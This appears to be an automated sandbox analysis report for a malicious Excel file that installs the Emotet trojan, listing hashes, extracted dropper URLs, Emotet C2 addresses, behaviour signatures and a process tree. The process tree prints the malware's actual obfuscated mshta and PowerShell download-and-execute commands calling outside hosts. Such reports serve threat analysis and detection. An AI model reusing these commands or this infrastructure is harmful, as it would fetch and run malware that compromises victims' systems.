Analysis

  • max time kernel
    138s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18-01-2022 16:05

General

  • Target

    22024c28d98a0aa62558650d4be96202.xls

  • Size

    128KB

  • MD5

    22024c28d98a0aa62558650d4be96202

  • SHA1

    2b145417423113d71bf9c988de67ebc2ded75471

  • SHA256

    e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08

  • SHA512

    6cf1ea3a5a151a833fbf9d5831d80583a15509183dc134b495cd26c41562bd2a8b159b170851a6f04c846592da00885ea93d4b58240d3f4db9f61285fcf84238

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/cc.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\22024c28d98a0aa62558650d4be96202.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:620
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:684
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:756
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2044
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:892
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Awoxcmenakdtdxb\emtocseujvqp.rwe",diDlGEwVNhe
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:572
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Awoxcmenakdtdxb\emtocseujvqp.rwe",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:872

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/572-92-0x00000000006E0000-0x0000000000706000-memory.dmp

    Filesize

    152KB

  • memory/684-63-0x0000000002380000-0x0000000002FCA000-memory.dmp

    Filesize

    12.3MB

  • memory/684-62-0x0000000002380000-0x0000000002FCA000-memory.dmp

    Filesize

    12.3MB

  • memory/872-105-0x0000000002630000-0x0000000002656000-memory.dmp

    Filesize

    152KB

  • memory/872-103-0x0000000000D70000-0x0000000000D96000-memory.dmp

    Filesize

    152KB

  • memory/872-101-0x0000000000CD0000-0x0000000000CF6000-memory.dmp

    Filesize

    152KB

  • memory/872-99-0x0000000000A20000-0x0000000000A46000-memory.dmp

    Filesize

    152KB

  • memory/872-97-0x0000000000830000-0x0000000000856000-memory.dmp

    Filesize

    152KB

  • memory/892-83-0x0000000002390000-0x00000000023B6000-memory.dmp

    Filesize

    152KB

  • memory/892-81-0x0000000002330000-0x0000000002356000-memory.dmp

    Filesize

    152KB

  • memory/892-79-0x0000000000A60000-0x0000000000A86000-memory.dmp

    Filesize

    152KB

  • memory/892-85-0x0000000002650000-0x0000000002676000-memory.dmp

    Filesize

    152KB

  • memory/892-87-0x0000000002830000-0x0000000002856000-memory.dmp

    Filesize

    152KB

  • memory/892-90-0x00000000028C0000-0x00000000028E6000-memory.dmp

    Filesize

    152KB

  • memory/892-77-0x0000000000220000-0x0000000000246000-memory.dmp

    Filesize

    152KB

  • memory/1752-56-0x0000000071961000-0x0000000071963000-memory.dmp

    Filesize

    8KB

  • memory/1752-55-0x000000002F301000-0x000000002F304000-memory.dmp

    Filesize

    12KB

  • memory/1752-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1752-58-0x00000000769D1000-0x00000000769D3000-memory.dmp

    Filesize

    8KB

  • memory/2044-70-0x0000000000250000-0x0000000000276000-memory.dmp

    Filesize

    152KB